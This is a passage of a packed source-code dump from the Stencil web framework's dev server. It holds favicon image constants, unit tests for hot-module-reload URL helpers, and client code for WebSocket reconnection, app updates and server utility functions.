'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAMAAAADACAMAAABlApw1AAAAnFBMVEUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4jUzeAAAAM3RSTlMAsGDs4wML8QEbBvr2FMhAM7+ILCUPnNzXrX04otO6j3RiT0ggzLSTcmtWUUWoZlknghZc2mZzAAACrklEQVR42u3dWXLiUAyFYWEwg40x8wxhSIAwJtH+99ZVeeinfriXVpWk5Hyr+C2VrgkAAAAAAAAAAAw5sZQ7aUhYypw07FjKC2ko2yxk2SQFgwYLOWSkYFhlIZ06KWhNWMhqRApGKxYyaZGCeoeFVIekIDuwkEaXFDSXLKRdkoYjS9mRhjlLSUjDO0s5kYYzS+mThn3OQsYqAbQQC7hZSgoGYgHUy0jBa42FvKkEUDERC6CCFIzeWEjtlRRkPbGAG5CCtCIWQAtS0ByzkHxPGvos5UEaNizlnTRsWconhbM4wTpSFHMTrFtKCroNFrLGBOsJLbGAWxWkoFiJBRAmWE/I1r4nWOmNheTeJ1gX0vDJUrYUweAEa04aHs5XePvc9wpPboJ1SCmOsRVkr04aromUEQEAgB9lxaZ++ATFpNDv6Y8qm1QdBk9QTAr9ni6mbFK7DJ6g2LQLXoHZlFCQdMY2nYJXYDb1g1dgNo2boSswm2Zp6ArMptCFyIVtCl2IlDmbNC0QcPEQcD8l4HLvAXdxHnBb5wG3QcDFQ8D9mIDrIeCiIeDiA25oNeA+EHDREHDxAbdmmxBwT0HARQbciW0KDbiEbQoNuB3bFBxwbTYJAfcUBFxkwFG/YlNJAADgxzCRcqUY9m7KGgNSUEx9H3XXO76Puv/OY5wedX/flHk+6j46v2maO79purPvm6Yz+75puua+b5q6Dd/PEsrNMyZfFM5gAMW+ymPtWciYV3ksBpBOwKUH3wHXXLKUM2l4cR5wG+cBlzgPuJ3zgJNb6FRwlP4Ln1X8wrOKeFbxP6Qz3wEn+KzilWLYe5UnMuDwY5BvD+cBt899B9zC+49Bqr4DrlXzHXDF1HfA1Tu+Ay5b+w649OY74OjoO+Bo7jzg7s4DDgAAAAAAAAAA/u0POrfnVIaqz/QAAAAASUVORK5CYII=';\nconst ICON_PENDING =\n  'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAMAAAADACAMAAABlApw1AAAAjVBMVEUAAAD8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjLn7xn3AAAALnRSTlMAsFBgAaDxfPpAdTMcD/fs47kDBhVXJQpvLNbInIiBRvSqIb+TZ2OOONxdzUxpgKSpAAAAA69JREFUeNrt3FtvskAQxvERFQXFioqnCkqth572+3+8947dN00TliF5ZpP53ZOAveg/OzCklFJKKaWUUkoppQTZm77cCGFo+jIhhG/TlwchJAvTk/GIAA6x6Um+JoDti+nJ644A5h+mJ8eMALKj6cnHnAB2r80NLJ4jf3Vz+cuWANZ5cwPTM/l7by6PZwQwGptGQf4q++dLCOHdNIbkb2IvjwjAvYEf8pe6j4/wYxopr/9SQih4BXa3l5eEcJ7a++c9/gkSQE8bcCWvXwcrAjjYADrxHv8KCbi3JasgD5fm8i9IAG1swMXzDv0X2wDaEED21dzA5UDeVoPm8uUbAayvvAI42YA7EIDzA5pv8lc6/UoAoxMv4CZuvyKUpnHn9VNBAG6B7XkBtCeEO6/AbvbyihAiXsB92svfCcA9wap4j19DAmgWs37AZCrnBKvu8vgX9AmWE3BZh/6L7QkWJIA2RxtwHQpml9sAQp9gXWbkbxz4CdYDfIK1qk1j3IV9fPgJFlNECJXhYfSfsBHkhBCKwEd452nYI7wncwQJP8GKTU+uO0I4D/uSkVJKqXAkA5nK9icoIi3nrU9QRHrZtj5BESmetT5BEantPCh7NTJFrUdgMg1bj8BkSv1HYJ8RmjMQKf1HYDdC+/R/IyQFzbD4AxH+CIyPPxCJoEdQ/IFIMgXNEPkDkd8jMLQs5wRcTXA1J+By/BGO+0ovYwQGU3kPRLJfIzCkCSfgpgmhpc5AxD/gIkLb8wKO0DTgoNyaGQQecNfQAy7TgGtHA04DLtyA24UecHngAVdrwIkJuAitU8DJ1Dbghkam9gEnU+uAWxiRjhsdoXagI1TPgKNyIBO+ZpRSSrW3HfblTAA9/juPDwTAfiMK9VG3PY/hwX7Ubc9j+AoCWNWGp+NSH4HflE2IgXUEGPI3TTfmN4ndv2kSsRUJvpUn4W1FShbYb5rc84ySAtzKs3W3IgW4lWfO24q0zsFbebIjaysSjbtt5RHzUf0DHHCrAW8gVYEDzl0LGYW4lefB24uYQgOOfwN7dMANeW/k3DkBJ2CrUNE54GRsFYIHnPNR+iPEgHPWKo5DDDhnrWKeBRhwzlrFeNtlq5CgtYqzAAPODaBzgAH331rFAAOOqsDXKjL3IqboN7ILJ4BCDDh3r3SIAfd0AijEgHP3So/8wQNuvjRBbxVij5A6Bpy8EZJnwIkbIfkFnLwRkm/ASRshXbwDTtYICRRwt7BHqEoppZRSSimllFLqD/8AOXJZHefotiIAAAAASUVORK5CYII=';\nconst ICON_ERROR =\n  'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAMAAAADACAMAAABlApw1AAAAkFBMVEUAAAD5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0H5Q0HYvLBZAAAAL3RSTlMAsGDjA/rsC/ElHRUBBssz9pFCvoh0UEcsD9ec3K19OLiiaNLEYlmoVeiCbmE+GuMl4I8AAAKQSURBVHja7d1njupQDIZhAymEUIZQQu9taN7/7q50pfl/TmTJtvQ9q3hzLDsEAAAAAAAAAACGzFjKiTS0WcqONMxZypg0fH5YyLFPChZdFnIYkILil4VcclLw3bCQ85IULM8sZPMlBfmFhfwWpGBwYCHdESnoH1nIz4c0jFnKnDTsWEqbNJxYyow03FjKlDTUKQtZqwTQXizgtgkpWGQsZKIScL0OCxmqBFC5EQugkhQshyyk0yMFgwkLyRakIGmJBdCeFPTXLCStScOUpdwogsEXrBdpuLKUJ4XDC9afKmUh94QUjLy/YGViAZRTOIMBtypJQXn2HUC5WMBleMFqILmzkLSicBZfsB6k4clSrqTh5XyEd3MeQHXqe4Qn94LVSiicwRHkJScNdVvKkgAAwI+qZdM0/AXFpE4v+AXFpKwIfkExKfR7ulyxSWkV/IJi0zx4BGbTm4IkW7ZpFjwCs2kaPAKzad0PHYHZtE1CR2A2TQahIzCbhnnwCMykVYmAi4aAQ8BZ4T3grgi4BhBwCDgbEHCNIOAQcCYg4BpCwCHgLEDAaYgPuDfbhIBrBAGHgDMhNOBo2rKpIgAA8KNoS6kplq2dsu6CFJQr30vd+dD3Uvf/nTLHS93J3flZwrHznaad852mE/veaXqw752mKvW90zTq+j5LWGS+r/J8xQKoU1AUa2chm1zlsXQWUifgkoPvgOsffQccjZ0H3Mx5wL2dB9zcecB9sJTePOBM3cU+46wiziq6C7hk6zvg3J9VfDK7vir0ch5wN+cBV6e+A27v/ccgme+AkxshTXKKYW6EFH0X29gIKTLgzI2QYgPO2ggpLuDsvaDEBZy9EVJcwBkcIT0IAAAAAAAAAADs+AdjeyF69/r87QAAAABJRU5ErkJggg==';\nconst ICON_DISABLED =\n  'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAMAAAADACAMAAABlApw1AAAAeFBMVEUAAAC4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7+4t7/uGGySAAAAJ3RSTlMAsGAE7OMcAQvxJRX69kHWyL8zq5GIdEcsD5zcfVg4uKLNa1JPZoK/xdPIAAACiklEQVR42u3dW5KqUAyF4QgCCggqIt7t9pb5z/Ccvjz2w95UqpJ0r28Uf2WTQAAAAAAAAAAAYMiWpTxJQ8JSTqThwVI2pKFZsJC3ghTs5izkmpKCcspCljNSkB9ZSLsnBfuWhRxzUjBbspBpSQrSKwuZr0lB8cZCFg1p2LCUB2k4sZSENNxYypY0nFlKTxqGmoUcClJwEQu4SUoKdmIBtEpJQZ6xkHeVAKqOYgFUkYL9OwvJclKQrsQCbkcK0olYAF1IQXFgIfVAGnqWcqZwFidYN4phb4L1onCYYMlPsLqUFKwxwRozwTIYcG1FCqrWdwBhgqU7wUo7FlJ7n2DdScPL+RPezfkT3tl5AA217yc89xMssYBbzUjDkEjZEwAA+NFMbOrDJygmZXnwBMWkaRk8QTFpvg6eoJi0aIInKDY9gp/AbEqCJyg2bYOfwGzqKUzPNh2K0Ccwm0IfRBK2KfSLkDvbFPog0tRsUlsh4EZAwP2SgKu9B9wdATcOAg4BZwACbgQEHALOCATcCAg4BJwVCLhREHB/LOAebFNwwC3YJATcKAi4yICjfmJTQwAA4EeZSBkojrWdsvmO4hjbKYtd6ra2Uxa71G1tp0xnqbvo+IPfpe4Nf3K703Ridr3T9OQPfnea7szseaepqX3vNH3NM/xe5fmeZ7i9yiMXQFlJEeydhYy4ymMygCICzmQAxQactbOQMQFnMoBiAs7iVaHIgDN3VSgq4AxeFYoOOGNXhbCUPkaJs4o4q/iXzyp2vgPO/VnFl/OAu/F/jq8KnZ0H3FD7DriL9x+DTH0HXJ75Driq9R1ws6XvgEuvvgOu6HwHHG18BxydnAfc03nAAQAAAAAAAADAz/4BoL2Us9XM2zMAAAAASUVORK5CYII=';\nconst ICON_TYPE = 'image/x-icon';\n"
  },
  {
    "path": "src/dev-server/client/test/hmr-util.spec.ts",
    "content": "import { getHmrHref, updateCssUrlValue } from '../hmr-util';\n\ndescribe('updateCssUrlValue', () => {\n  const versionId = '1234';\n\n  it('should update url w/ existing qs', () => {\n    const fileName = 'img.png';\n    const css = `background-image: url('img.png?what=ever&s-hmr=4321')`;\n\n    const newCss = updateCssUrlValue(versionId, fileName, css);\n    expect(newCss).toBe(`background-image: url('img.png?what=ever&s-hmr=1234')`);\n  });\n\n  it('should update url w/ single quotes', () => {\n    const fileName = 'img.png';\n    const css = `background: url('img.png')`;\n\n    const newCss = updateCssUrlValue(versionId, fileName, css);\n    expect(newCss).toBe(`background: url('img.png?s-hmr=1234')`);\n  });\n\n  it('should update url w/ double quotes', () => {\n    const fileName = 'img.png';\n    const css = 'background: url(\"img.png\")';\n\n    const newCss = updateCssUrlValue(versionId, fileName, css);\n    expect(newCss).toBe('background: url(\"img.png?s-hmr=1234\")');\n  });\n\n  it('should update url w/ no quotes', () => {\n    const fileName = 'img.png';\n    const css = 'background: url(img.png)';\n\n    const newCss = updateCssUrlValue(versionId, fileName, css);\n    expect(newCss).toBe('background: url(img.png?s-hmr=1234)');\n  });\n\n  it('should not update for different file', () => {\n    const fileName = 'img.png';\n    const css = 'background: url(hello.png)';\n\n    const newCss = updateCssUrlValue(versionId, fileName, css);\n    expect(newCss).toBe('background: url(hello.png)');\n  });\n\n  it('should not get url', () => {\n    const fileName = 'img.png';\n    const css = 'background: red';\n\n    const newCss = updateCssUrlValue(versionId, fileName, css);\n    expect(newCss).toBe('background: red');\n  });\n});\n\ndescribe('updateHmrUrl', () => {\n  const versionId = '1234';\n\n  it('update existing qs', () => {\n    const fileName = 'file-a.css';\n    const oldHref = './file-a.css?s-hmr=4321&what=ever';\n\n    const newHref = getHmrHref(versionId, fileName, oldHref);\n\n    expect(newHref).toBe('./file-a.css?s-hmr=1234&what=ever');\n  });\n\n  it('add to existing qs', () => {\n    const fileName = 'file-a.css';\n    const oldHref = './file-a.css?what=ever';\n\n    const newHref = getHmrHref(versionId, fileName, oldHref);\n\n    expect(newHref).toBe('./file-a.css?what=ever&s-hmr=1234');\n  });\n\n  it('update no prefix . or / relative href', () => {\n    const fileName = 'file-a.css';\n    const oldHref = 'file-a.css';\n\n    const newHref = getHmrHref(versionId, fileName, oldHref);\n\n    expect(newHref).toBe('file-a.css?s-hmr=1234');\n  });\n\n  it('update exact href', () => {\n    const fileName = 'file-a.css';\n    const oldHref = '/build/file-a.css';\n\n    const newHref = getHmrHref(versionId, fileName, oldHref);\n\n    expect(newHref).toBe('/build/file-a.css?s-hmr=1234');\n  });\n\n  it('not matching file name', () => {\n    const fileName = 'file-a.css';\n    const oldHref = '/build/file-b.css';\n\n    const newHref = getHmrHref(versionId, fileName, oldHref);\n\n    expect(newHref).toBe('/build/file-b.css');\n  });\n});\n"
  },
  {
    "path": "src/dev-server/client/test/status.spec.ts",
    "content": "import { initBuildStatus, updateFavIcon } from '../status';\n\ndescribe('build-status', () => {\n  let linkElm: HTMLLinkElement;\n\n  it('should set error and remember org href', () => {\n    linkElm = document.createElement('link');\n    linkElm.href = 'org-icon.ico';\n    linkElm.rel = 'shortcut icon';\n    linkElm.type = 'org-type';\n    document.head.appendChild(linkElm);\n    initBuildStatus({ window: window });\n\n    expect(linkElm.dataset.href).toBe('http://testing.stenciljs.com/org-icon.ico');\n    expect(linkElm.dataset.type).toBe('org-type');\n\n    updateFavIcon(linkElm, 'error');\n    expect(linkElm.getAttribute('data-status')).toBe('error');\n    expect(linkElm.type).toBe('image/x-icon');\n  });\n});\n"
  },
  {
    "path": "src/dev-server/content-types-db.json",
    "content": "{\n  \"replaced-at\": \"build-time\",\n  \"html\": \"text/html\"\n}"
  },
  {
    "path": "src/dev-server/dev-server-client/app-update.ts",
    "content": "import type * as d from '../../declarations';\nimport {\n  appError,\n  clearAppErrorModal,\n  emitBuildStatus,\n  hmrWindow,\n  logBuild,\n  logDiagnostic,\n  logReload,\n  logWarn,\n  onBuildResults,\n} from '../client';\nimport { OPEN_IN_EDITOR_URL } from '../dev-server-constants';\n\nexport const initAppUpdate = (win: d.DevClientWindow, config: d.DevClientConfig) => {\n  onBuildResults(win, (buildResults) => {\n    appUpdate(win, config, buildResults);\n  });\n};\n\nconst appUpdate = (win: d.DevClientWindow, config: d.DevClientConfig, buildResults: d.CompilerBuildResults) => {\n  try {\n    if (buildResults.buildId === win['s-build-id']) {\n      return;\n    }\n    win['s-build-id'] = buildResults.buildId;\n\n    // remove any app errors that may already be showing\n    clearAppErrorModal({ window: win });\n\n    if (buildResults.hasError) {\n      // looks like we've got an error\n      // let's show the error all pretty like\n      const editorId = Array.isArray(config.editors) && config.editors.length > 0 ? config.editors[0].id : null;\n      const errorResults = appError({\n        window: win,\n        buildResults: buildResults,\n        openInEditor: editorId\n          ? (data) => {\n              const qs: d.OpenInEditorData = {\n                file: data.file,\n                line: data.line,\n                column: data.column,\n                editor: editorId,\n              };\n\n              const url = `${OPEN_IN_EDITOR_URL}?${Object.keys(qs)\n                .map((k) => `${k}=${(qs as any)[k]}`)\n                .join('&')}`;\n              win.fetch(url);\n            }\n          : null,\n      });\n\n      errorResults.diagnostics.forEach(logDiagnostic);\n      emitBuildStatus(win, errorResults.status);\n      return;\n    }\n\n    if (win['s-initial-load']) {\n      // this page is the initial dev server loading page\n      // and the build has finished without errors\n      // let's make sure the url is at the root\n      // and we've unregistered any existing service workers\n      // then let's refresh the page from the root of the server\n      appReset(win, config, () => {\n        logReload(`Initial load`);\n        win.location.reload();\n      });\n      return;\n    }\n\n    if (buildResults.hmr) {\n      appHmr(win, buildResults.hmr);\n    }\n  } catch (e) {\n    console.error(e);\n  }\n};\n\nconst appHmr = (win: Window, hmr: d.HotModuleReplacement) => {\n  let shouldWindowReload = false;\n\n  if (hmr.reloadStrategy === 'pageReload') {\n    shouldWindowReload = true;\n  }\n\n  if (hmr.indexHtmlUpdated) {\n    logReload(`Updated index.html`);\n    shouldWindowReload = true;\n  }\n\n  if (hmr.serviceWorkerUpdated) {\n    logReload(`Updated Service Worker: sw.js`);\n    shouldWindowReload = true;\n  }\n\n  if (hmr.scriptsAdded && hmr.scriptsAdded.length > 0) {\n    logReload(`Added scripts: ${hmr.scriptsAdded.join(', ')}`);\n    shouldWindowReload = true;\n  }\n\n  if (hmr.scriptsDeleted && hmr.scriptsDeleted.length > 0) {\n    logReload(`Deleted scripts: ${hmr.scriptsDeleted.join(', ')}`);\n    shouldWindowReload = true;\n  }\n\n  if (hmr.excludeHmr && hmr.excludeHmr.length > 0) {\n    logReload(`Excluded From Hmr: ${hmr.excludeHmr.join(', ')}`);\n    shouldWindowReload = true;\n  }\n\n  if (shouldWindowReload) {\n    win.location.reload();\n    return;\n  }\n\n  const results = hmrWindow({ window: win, hmr: hmr });\n\n  if (results.updatedComponents.length > 0) {\n    logBuild(\n      `Updated component${results.updatedComponents.length > 1 ? 's' : ''}: ${results.updatedComponents.join(', ')}`,\n    );\n  }\n\n  if (results.updatedInlineStyles.length > 0) {\n    logBuild(`Updated styles: ${results.updatedInlineStyles.join(', ')}`);\n  }\n\n  if (results.updatedExternalStyles.length > 0) {\n    logBuild(`Updated stylesheets: ${results.updatedExternalStyles.join(', ')}`);\n  }\n\n  if (results.updatedImages.length > 0) {\n    logBuild(`Updated images: ${results.updatedImages.join(', ')}`);\n  }\n};\n\nexport const appReset = (win: d.DevClientWindow, config: d.DevClientConfig, cb: () => void) => {\n  // we're probably at some ugly url\n  // let's update the url to be the expect root url: /\n  // avoiding Promise to keep things simple for our ie11 buddy\n  win.history.replaceState({}, 'App', config.basePath);\n\n  if (!win.navigator.serviceWorker || !win.navigator.serviceWorker.getRegistration) {\n    cb();\n  } else {\n    // it's possible a service worker is already registered\n    // for this localhost url from some other app's development\n    // let's ensure we entirely remove the service worker for this domain\n    win.navigator.serviceWorker\n      .getRegistration()\n      .then((swRegistration) => {\n        if (swRegistration) {\n          swRegistration.unregister().then((hasUnregistered) => {\n            if (hasUnregistered) {\n              logBuild(`unregistered service worker`);\n            }\n            cb();\n          });\n        } else {\n          cb();\n        }\n      })\n      .catch((err) => {\n        logWarn('Service Worker', err);\n        cb();\n      });\n  }\n};\n"
  },
  {
    "path": "src/dev-server/dev-server-client/client-web-socket.ts",
    "content": "import type * as d from '../../declarations';\nimport { emitBuildLog, emitBuildResults, emitBuildStatus, logDisabled, logReload, logWarn } from '../client';\n\nexport const initClientWebSocket = (win: d.DevClientWindow, config: d.DevClientConfig) => {\n  let clientWs: WebSocket;\n  let reconnectTmrId: any;\n  let reconnectAttempts = 0;\n  let requestBuildResultsTmrId: any;\n  let hasGottenBuildResults = false;\n  let buildResultsRequests = 0;\n\n  function onOpen(this: WebSocket) {\n    if (reconnectAttempts > 0) {\n      // we just reconnected\n      // we'll request the build results and wait on its response\n      emitBuildStatus(win, 'pending');\n    }\n\n    if (!hasGottenBuildResults) {\n      requestBuildResultsTmrId = setInterval(() => {\n        buildResultsRequests++;\n        if (!hasGottenBuildResults && this.readyState === WebSocket.OPEN && buildResultsRequests < 500) {\n          const msg: d.DevServerMessage = {\n            requestBuildResults: true,\n          };\n          this.send(JSON.stringify(msg));\n        } else {\n          clearInterval(requestBuildResultsTmrId);\n        }\n      }, REQUEST_BUILD_RESULTS_INTERVAL_MS);\n    }\n\n    // we just connected, let's just\n    // double check we don't have a reconnect queued\n    clearTimeout(reconnectTmrId);\n  }\n\n  function onError() {\n    // looks like we can't connect to the server\n    // let's give it another shot in a few seconds\n    queueReconnect();\n  }\n\n  function onClose(event: { code: number; reason: string }) {\n    emitBuildStatus(win, 'disabled');\n\n    if (event.code > NORMAL_CLOSURE_CODE) {\n      // the browser's web socket has closed w/ an unexpected code\n      logWarn(`Dev Server`, `web socket closed: ${event.code} ${event.reason}`);\n    } else {\n      logDisabled(`Dev Server`, `Disconnected, attempting to reconnect...`);\n    }\n\n    // web socket closed, let's try to reconnect\n    queueReconnect();\n  }\n\n  function onMessage(event: any) {\n    // the browser's web socket received a message from the server\n    const msg: d.DevServerMessage = JSON.parse(event.data);\n\n    if (reconnectAttempts > 0) {\n      // we got a message and we know we've been trying to reconnect\n\n      if (msg.isActivelyBuilding) {\n        // looks like there's still an active build\n        return;\n      }\n\n      if (msg.buildResults) {\n        // this is from a reconnect, and we were just notified w/ build results\n        // so it's probably best if we do a full page refresh\n        logReload(`Reconnected to dev server`);\n        hasGottenBuildResults = true;\n        buildResultsRequests = 0;\n        clearInterval(requestBuildResultsTmrId);\n\n        if (win['s-build-id'] !== msg.buildResults.buildId) {\n          win.location.reload();\n        }\n        win['s-build-id'] = msg.buildResults.buildId;\n        return;\n      }\n    }\n\n    if (msg.buildLog) {\n      if (msg.buildLog.progress < 1) {\n        emitBuildStatus(win, 'pending');\n      }\n\n      emitBuildLog(win, msg.buildLog);\n      return;\n    }\n\n    if (msg.buildResults) {\n      // we just got build results from the server\n      // let's update our app with the data received\n      hasGottenBuildResults = true;\n      buildResultsRequests = 0;\n      clearInterval(requestBuildResultsTmrId);\n\n      emitBuildStatus(win, 'default');\n      emitBuildResults(win, msg.buildResults);\n      return;\n    }\n  }\n\n  function connect() {\n    // ensure we don't have a reconnect timeout running\n    clearTimeout(reconnectTmrId);\n\n    // have the browser open a web socket with the server\n    clientWs = new win.WebSocket(config.socketUrl, ['xmpp']);\n\n    // add all our event listeners to our new web socket\n    clientWs.addEventListener('open', onOpen);\n    clientWs.addEventListener('error', onError);\n    clientWs.addEventListener('close', onClose);\n    clientWs.addEventListener('message', onMessage);\n  }\n\n  function queueReconnect() {\n    // either it closed or was a connection error\n    hasGottenBuildResults = false;\n\n    // let's clear out the existing web socket\n    if (clientWs) {\n      if (clientWs.readyState === WebSocket.OPEN || clientWs.readyState === WebSocket.CONNECTING) {\n        // probably fine as is, but let's double check we're closed out\n        clientWs.close(NORMAL_CLOSURE_CODE);\n      }\n\n      // let's remove all the existing event listeners\n      clientWs.removeEventListener('open', onOpen);\n      clientWs.removeEventListener('error', onError);\n      clientWs.removeEventListener('close', onClose);\n      clientWs.removeEventListener('message', onMessage);\n      clientWs = null;\n    }\n\n    // ensure clear out any other pending reconnect timeouts\n    clearTimeout(reconnectTmrId);\n\n    if (reconnectAttempts >= RECONNECT_ATTEMPTS) {\n      logWarn(`Dev Server`, `Canceling reconnect attempts`);\n    } else {\n      // keep track how many times we tried to reconnect\n      reconnectAttempts++;\n\n      // queue up a reconnect in a few seconds\n      reconnectTmrId = setTimeout(connect, RECONNECT_RETRY_MS);\n\n      emitBuildStatus(win, 'disabled');\n    }\n  }\n\n  // let's do this!\n  // try to connect up with our web socket server\n  connect();\n};\n\nconst RECONNECT_ATTEMPTS = 1000;\nconst RECONNECT_RETRY_MS = 2500;\nconst NORMAL_CLOSURE_CODE = 1000;\nconst REQUEST_BUILD_RESULTS_INTERVAL_MS = 500;\n"
  },
  {
    "path": "src/dev-server/dev-server-client/index.ts",
    "content": "import type * as d from '../../declarations';\nimport { initDevClient } from './init-dev-client';\n\ndeclare const appWindow: d.DevClientWindow;\ndeclare const config: d.DevClientConfig;\n\nconst defaultConfig: d.DevClientConfig = {\n  basePath: appWindow.location.pathname,\n  editors: [],\n  reloadStrategy: 'hmr',\n  socketUrl: `${location.protocol === 'https:' ? 'wss:' : 'ws:'}//${location.hostname}${\n    location.port !== '' ? ':' + location.port : ''\n  }/`,\n};\n\ninitDevClient(appWindow, Object.assign({}, defaultConfig, appWindow.devServerConfig, config));\n"
  },
  {
    "path": "src/dev-server/dev-server-client/init-dev-client.ts",
    "content": "import type * as d from '../../declarations';\nimport { initBuildProgress, initBuildStatus } from '../client';\nimport * as c from '../dev-server-constants';\nimport { appReset, initAppUpdate } from './app-update';\nimport { initClientWebSocket } from './client-web-socket';\n\nexport const initDevClient = (win: d.DevClientWindow, config: d.DevClientConfig) => {\n  try {\n    if (win['s-dev-server']) {\n      // somehow we've already initialized the dev server client-side script\n      // don't bother doing it again (this shouldn't happen)\n      return;\n    }\n    win['s-dev-server'] = true;\n\n    initBuildStatus({ window: win });\n    initBuildProgress({ window: win });\n    initAppUpdate(win, config);\n\n    if (isInitialDevServerLoad(win, config)) {\n      win['s-initial-load'] = true;\n      // this page is the initial dev server load page\n      // we currently have an ugly url like /~dev-server-init\n      // or something, let's quickly change that using\n      // history.replaceState() and update the url to\n      // what's expected like /\n      // we're doing this so we can force the server\n      // worker to unregister, but do not fully reload the page yet\n      appReset(win, config, () => {\n        initClientWebSocket(win, config);\n      });\n    } else {\n      initClientWebSocket(win, config);\n    }\n  } catch (e) {\n    console.error(e);\n  }\n};\n\nconst isInitialDevServerLoad = (win: d.DevClientWindow, config: d.DevClientConfig) => {\n  let pathname = win.location.pathname;\n  pathname = '/' + pathname.substring(config.basePath.length);\n  return pathname === c.DEV_SERVER_INIT_URL;\n};\n"
  },
  {
    "path": "src/dev-server/dev-server-client/test/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../testing/tsconfig.internal.json\"\n}\n"
  },
  {
    "path": "src/dev-server/dev-server-constants.ts",
    "content": "export const DEV_SERVER_URL = '/~dev-server';\n\nexport const DEV_MODULE_URL = '/~dev-module';\n\nexport const DEV_SERVER_INIT_URL = `${DEV_SERVER_URL}-init`;\n\nexport const OPEN_IN_EDITOR_URL = `${DEV_SERVER_URL}-open-in-editor`;\n"
  },
  {
    "path": "src/dev-server/dev-server-utils.ts",
    "content": "import type * as d from '../declarations';\nimport { version } from '../version';\nimport contentTypes from './content-types-db.json';\nimport * as c from './dev-server-constants';\n\nexport function responseHeaders(headers: d.DevResponseHeaders, httpCache = false): any {\n  headers = { ...DEFAULT_HEADERS, ...headers };\n  if (httpCache) {\n    headers['cache-control'] = 'max-age=3600';\n    delete headers['date'];\n    delete headers['expires'];\n  }\n  return headers;\n}\n\nconst DEFAULT_HEADERS: d.DevResponseHeaders = {\n  'cache-control': 'no-cache, no-store, must-revalidate, max-age=0',\n  expires: '0',\n  date: 'Wed, 1 Jan 2000 00:00:00 GMT',\n  server: 'Stencil Dev Server ' + version,\n  'access-control-allow-origin': '*',\n  'access-control-expose-headers': '*',\n};\n\nexport function getBrowserUrl(protocol: string, address: string, port: number, basePath: string, pathname: string) {\n  address = address === `0.0.0.0` ? `localhost` : address;\n  const portSuffix = !port || port === 80 || port === 443 ? '' : ':' + port;\n\n  let path = basePath;\n  if (pathname.startsWith('/')) {\n    pathname = pathname.substring(1);\n  }\n  path += pathname;\n\n  protocol = protocol.replace(/\\:/g, '');\n\n  return `${protocol}://${address}${portSuffix}${path}`;\n}\n\nexport function getDevServerClientUrl(devServerConfig: d.DevServerConfig, host: string, protocol: string) {\n  let address = devServerConfig.address;\n  let port = devServerConfig.port;\n\n  if (host) {\n    address = host;\n    port = null;\n  }\n\n  return getBrowserUrl(protocol ?? devServerConfig.protocol, address, port, devServerConfig.basePath, c.DEV_SERVER_URL);\n}\n\nexport function getContentType(filePath: string) {\n  const last = filePath.replace(/^.*[/\\\\]/, '').toLowerCase();\n  const ext = last.replace(/^.*\\./, '').toLowerCase();\n\n  const hasPath = last.length < filePath.length;\n  const hasDot = ext.length < last.length - 1;\n\n  return ((hasDot || !hasPath) && (contentTypes as any)[ext]) || 'application/octet-stream';\n}\n\nexport function isHtmlFile(filePath: string) {\n  filePath = filePath.toLowerCase().trim();\n  return filePath.endsWith('.html') || filePath.endsWith('.htm');\n}\n\nexport function isCssFile(filePath: string) {\n  filePath = filePath.toLowerCase().trim();\n  return filePath.endsWith('.css');\n}\n\nconst TXT_EXT = ['css', 'html', 'htm', 'js', 'json', 'svg', 'xml'];\n\nexport function isSimpleText(filePath: string) {\n  const ext = filePath.toLowerCase().trim().split('.').pop();\n  return TXT_EXT.includes(ext);\n}\n\nexport function isExtensionLessPath(pathname: string) {\n  const parts = pathname.split('/');\n  const lastPart = parts[parts.length - 1];\n  return !lastPart.includes('.');\n}\n\nexport function isSsrStaticDataPath(pathname: string) {\n  const parts = pathname.split('/');\n  const fileName = parts[parts.length - 1].split('?')[0];\n  return fileName === 'page.state.json';\n}\n\nexport function getSsrStaticDataPath(req: d.HttpRequest) {\n  const parts = req.url.href.split('/');\n  const fileName = parts[parts.length - 1];\n  const fileNameParts = fileName.split('?');\n\n  parts.pop();\n\n  let ssrPath = new URL(parts.join('/')).href;\n  if (!ssrPath.endsWith('/') && req.headers) {\n    const h = new Headers(req.headers);\n    if (h.get('referer').endsWith('/')) {\n      ssrPath += '/';\n    }\n  }\n\n  return {\n    ssrPath,\n    fileName: fileNameParts[0],\n    hasQueryString: typeof fileNameParts[1] === 'string' && fileNameParts[1].length > 0,\n  };\n}\n\nexport function isDevClient(pathname: string) {\n  return pathname.startsWith(c.DEV_SERVER_URL);\n}\n\nexport function isDevModule(pathname: string) {\n  return pathname.includes(c.DEV_MODULE_URL);\n}\n\nexport function isOpenInEditor(pathname: string) {\n  return pathname === c.OPEN_IN_EDITOR_URL;\n}\n\nexport function isInitialDevServerLoad(pathname: string) {\n  return pathname === c.DEV_SERVER_INIT_URL;\n}\n\nexport function isDevServerClient(pathname: string) {\n  return pathname === c.DEV_SERVER_URL;\n}\n\nexport function shouldCompress(devServerConfig: d.DevServerConfig, req: d.HttpRequest) {\n  if (!devServerConfig.gzip) {\n    return false;\n  }\n\n  if (req.method 